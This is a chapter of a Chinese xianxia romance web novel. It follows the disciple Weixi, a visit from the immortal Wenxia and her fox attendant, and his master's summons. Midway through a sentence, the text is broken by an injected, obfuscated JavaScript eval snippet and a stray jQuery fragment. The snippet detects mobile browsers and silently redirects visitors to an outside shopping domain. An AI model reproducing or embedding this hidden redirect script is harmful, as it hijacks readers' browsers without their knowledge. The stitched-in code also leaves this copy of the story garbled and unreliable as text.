“近日天热,我腌了些醋芹,你待会送到半山居去。”
翡翠掀开帘子,乍看见白花花的一块肉,猛又放下。
一居室里,惟熙光着膀子别扭地涂伤药,昨日被小枣拖行数十米,身上尽是青青紫紫的瘀伤。时问微叫他自己长点教训,扔了一瓶膏药便不再管。
有人来找,惟熙套上衣衫,忙迎出去:“师傅不喜吃芹菜,我去院里摘些黄瓜凉拌罢。”
论做太监,惟熙比炳灵公更有眼见力。
翡翠放下菜碟,问起惟熙背上的伤:“看起来伤得不轻,我那里有红花油,给你取一些来吧。”
“不用不用,仙主之前已给了我一瓶。”惟熙摆摆手,拿出一瓶药。
翡翠扫了一眼,很快住了嘴:
仙品金疮药,生死人肉白骨,竟被仙主拿来给仆从揉淤青,这怎能怪她少见多怪!
她还是低估了,面前这少年在仙主眼中的地位。
翡翠移开视线,“你跟着去了凡间一趟,倒是了解了仙主不少喜好。正好胭脂走了,以后厨房里的事,你就多操持着些。”
惟熙整理笑容:“自然都是我该做的。”
不止喜好,下凡以来,惟熙了解了许多时问微的过去。
他知道时问微曾是元虚宗引以为傲的大师姐,天之骄子,一举登仙;也知道时问微在凡间有个忘不掉的旧情人,好像最后不小心死了。
怎样死的,他并不在乎。
惟熙在乎的是,神机算子提到,师傅似乎为了那人连日奔波,做了许多努力。
“对了,胭脂走的时候你不在,她给你留了一箱东西。”
这倒让惟熙有些意外。
胭脂走前,将梳妆衣物一并分给了同为女子的翡翠元喜,却给惟熙留下一箧书。竹编的书箧有些古旧发脆,用钥匙打开,里面堆满了书,薄薄的书页被翻得发毛。
尽是什么道法史记,抽出一本《清心诀》翻开,封皮之下竟又换了个面容。
扉页竟用朱笔写着:徒儿藏起孕肚想要逃跑,却被他发现揭底强制囚禁怀中,他话中三分薄凉“想带我的孩子去哪里?”
“……”
为何似曾相似。
默默放回,惟熙面无表情又抽出一本《万年无情史记》。
翻开,扉页写道:魂穿堕魔小师弟,他秘密培养神秘魔君一路杀伐征讨,只为将高岭师尊拥入怀中。
“……”
惟熙迟疑片刻,将这本书拿出来放到身旁。
翻到箱底,才在书中找到胭脂留下的一张字条:此去凡间,不知何日再见,留下皆是珍品,望能祝你一臂之力。有缘再见。
夹字条的书是一本凡间话本,题为《元虚宗大师姐不得不说的二三事》。
“……”
这本书,惟熙也默默地收了起来。
牵着小枣遛弯到池边饮水时,惟熙坐在池边石块旁,犹在出神。
池水映出一人一马的倒影,面容模糊。
惟熙摩挲着手腕上青紫淤痕,喃喃道:“小枣,你说……师傅昨天是不是发现了……”
小枣低头饮水,脖颈连成优美的弧,懒得理会。
水面兀地泛起涟漪,一尾鲤鱼窜出湖面打破平静,甩出的水珠溅了小枣一脸。后者猛一甩脑袋,不悦地跺脚。
惟熙探出头去,只来得及看到鲤鱼反身潜入水底的模样。
在这之前,池里根本没养什么生灵。
这分明就是师傅口中,欺辱他而被晒成干的那只鲤鱼精。
水面恢复平静,惟熙看着最后一圈涟漪消失,想到什么似的勾起嘴角:“是啊,师傅那样厉害,一定看出我是故意的了。
“她只是,不说罢了。”
-
半山居内,惟熙打帘而入。
时问微端坐上首,一玄衣女子附在她耳畔不知说些什么,二人身旁立着一名与他一般大的银发男子,衣着朴素,约是女子带来的仆从。
惟熙只扫了一眼便低下头来,他依稀记得这玄衣女子之前来阊阖天找过仙主,与自己擦肩而过。
“回仙主,晚膳摆好了,今日做的是金齑玉鲙。”
时问微抬眼,“你们把池里那条鲤鱼捉了?”
不及作答,玄衣女子笑吟吟地道:“是我拿来的,今天的鲤鱼嫩得很。再不拿一条来,恐怕全被家里的猫给咬死了。”
说着,有意无意地朝底下银发侍从瞟了一眼。
闲谈中惟熙得知,玄衣女子叫文夏,是天界东头哪个雪洞的闲散神仙。带来的男子叫原临雪,是她在凡间捡来的雪狐。
用文夏的话说,若没有她,原临雪估计早冻死在雪地,被人扒了皮抽了筋围在脖子上做裘衣。
“……好在姿色不错,干活还算努力,也没有白救。毕竟,有这样的机缘飞升上天,不必天雷渡劫,磕头感谢都还来不及,天底下哪里还有这样欢喜的买卖。”
当着原临雪的面,文夏并不避讳。
银发侍从不动声色,立在玄衣女子身后。他眉目精致,气质却清冷疏离,偏偏又对一人露出乖顺的眉眼。对文夏的话,似乎并不在意。
时问微低头抿茶:“是啊,除了三哥不喜欢。”
听闻此人,文夏原还笑吟吟的脸拉了下来,不屑道:“装模作样假清高,我最恨这样的人。他不让做的事,我偏做。”
“之前不是最喜欢?”
“之前是之前,现在嘛……”
文夏笑着仰起头,揽过原临雪的腰,后者低下头,在两人面前大方地交换了一个吻。哪怕如蜻蜓点水,也叫人看得面红耳热。
时问微面容平静:“你今日,是特地来我面前,做给我看的?”
“好了好了,知你情场失意,不激你了。”
惟熙的目光隐晦地在两人之间流转,而后落在时问微身上,后者无动于衷。
文夏舀了一勺鱼肉,大加赞赏,“这厨艺真不错!说真的,你这仆从借我用几天,让我也尝尝,每日下值都有人洗手做羹汤的滋味。”
惟熙登时如临大敌。
“我阊阖天拢共四个人,走了一个,还要被你抢一个。”
“那让临雪留下来伺候你。”
文夏说得随意,低头布菜的惟熙默默不语。
“再说,我这不是替你好好调教调教,回来了更好伺候你。他看起来,可还什么都不懂。”
一句话被她说得暧昧模糊,时问微瞥了一眼惟熙,只道:“不用,他很好。”
文夏撇了撇嘴,到底没再多说什么。
庭院里,惟熙再次撞见了原临雪,这次只他一人。
银发侍从点头问好,竟自然地上前搭话。
离得近了,惟熙能数得清他扇子一般浓黑茂密的睫毛,高挺的鼻梁投下阴影,愈发觉得对方跟精雕玉琢的小人似的,也难怪被文夏看上。
见了越多人,惟熙越看不清:时问微为何将自己留下。
其实文夏说的言外之意,他都明白。
在不夜宫跑腿的那些年,再怎样腌臜的事他都见过。无非是达官贵人、公子小姐,流着汗,肢体扭曲在一起,脱了人类的衣服,退化成兽人一般。
惟熙无法将这样的想象付诸在师傅身上。
哪怕只是闪过一丝念头,都觉得是自己太过邪恶。而师傅,注定是要被供奉在神坛之上,受万人敬仰的神。
如此神圣,如此洁净,断不能与这样旖旎肮脏的心思混为一谈。
“小心。”
眼看原临雪脚下踉跄,惟熙忙上前搀扶,对方连连道谢。
惟熙却发觉,他失神地望着远处二人的身影,这才没注意脚下。前方,文夏与时问微游于廊下,不知在计谋什么。
“多谢。”
原临雪长睫敛住眼中落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801926|210456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
寞,神色莫名地看向惟熙,“真好啊,阊阖天仙主身边,竟只有你一人么。”
惟熙拿捏不准他的意味,宽慰了对方两句。
原临雪晒然一笑:“我知道,除了我以外,她还有许多人。许多人,等着被仙主宠幸一跃登上仙界。”
“……”
“我也只好假装不知道。毕竟她也不是非我不可。”
原临雪看向惟熙:“或许,交换不失为一个好主意。起码,阊阖天仙主看上去是专情的人。”
仰起的笑脸不变,惟熙贴心搀扶着对方,揭过话题。没走两步,原临雪却脚下一空,差点摔入池塘之中,索性及时被惟熙拉了回来。
惟熙替受惊的原临雪整理衣衫,长叹一口气:“原公子,怎么这么不小心。”
-
送走二人,惟熙缀在时问微身后回了半山居。
时问微转身步入小阁,身后跟了一条尾巴,尾巴低着头,闷声不吭,竟也混了进来。
淡淡的声音从头顶传来:“进来。有些事,你也该知道。”
小阁阴冷,两旁点着香烛,烟味熏人。惟熙分不清映入时问微眼中的烛火是哪一簇,跳到了自己心间。
咽了口水,惟熙只道:“为师父做什么,徒儿都是愿意的。”
时问微奇怪:“我何时让你做什么了?”
“……”
时问微眼睛一眯,忽而了然:“今日文夏说的话,你都不必往心里去。”
不知心底所想被看穿了几分,惟熙讷讷点头。
时问微随手捏起缝隙处塞的几张洒金红纸,借着香烛点燃,纸火如蝴蝶飘飘然落下。
她漫不经心地道:“你可知,这是哪儿?这小阁里收集着东岳帝君在凡间的部分香火,众生愿力供养着生生不息的香烛。
“众生只知道求神仙,了私欲。门前燃三柱香,跪下磕几个响头,把愿望一讲,就好像托付了什么重要的事。
“可最后么,该病的病,该死的死。人的命,都写在司命星君的命簿上。求神没用,神仙也是没有什么用的。”
惟熙皱眉问:“可是靖海王雨祭求雨,不也有神仙心软降下了雨水,解了一时旱灾。”
“呵,不过是手指缝里抖出来几颗沙子,就当作是君恩。”时问微不屑,“所以修者个个渴望修炼成仙,好寿延万年,获得法力无边。”
她瞥了一眼惟熙:“时不时还能在你们这样的人面前,过一把当神仙的瘾。”
“那师傅是为了什么做的神仙?”
时问微抬头望向尽处的祭台,不知想着什么,忽地眉目柔和下来,喃喃道:“为了一个可笑的理由。”
捕捉到眼神中少见的回忆,惟熙背在身后的手缓缓攥紧,指甲深深嵌进肉里,恍然不觉疼痛。
可笑的理由?
恐怕就是胭脂提过的那个人。那个,一直埋藏在师傅心里的人。那也是惟熙不曾参与的过去。
时问微自嘲一笑:“还不如为了权、为了利、为了寿延万年和法力无边,起码得道之后,不会这么痛苦。”
做神仙,凌于九霄之上,坐拥仙宝无数,闲敲棋子落灯花。众人敬仰艳羡的神仙,在师傅眼中,竟是痛苦。
人想仙,仙想俗。
时问微脸色忽地严肃,正色问:
“我问你,你当真下定了决心,要跟我修炼法术?不管你是为了什么,你都要清楚,这背后要承担的一切,一切寂寥、孤独,甚至无为。”
“弟子早已清楚。”惟熙一字一句郑重答道。
“我要你抛弃凡尘纠葛,我要你摒弃其他宗门杂说,一心一意在我。记住,俗世种种皆是虚妄,唯有本心是真。”
“是。”
斜阳透过小窗,时问微的脸模糊在光尘之中,仿若真正的仙人一般,惟余慈悲。
一字一句,满含威严。
“跪下。”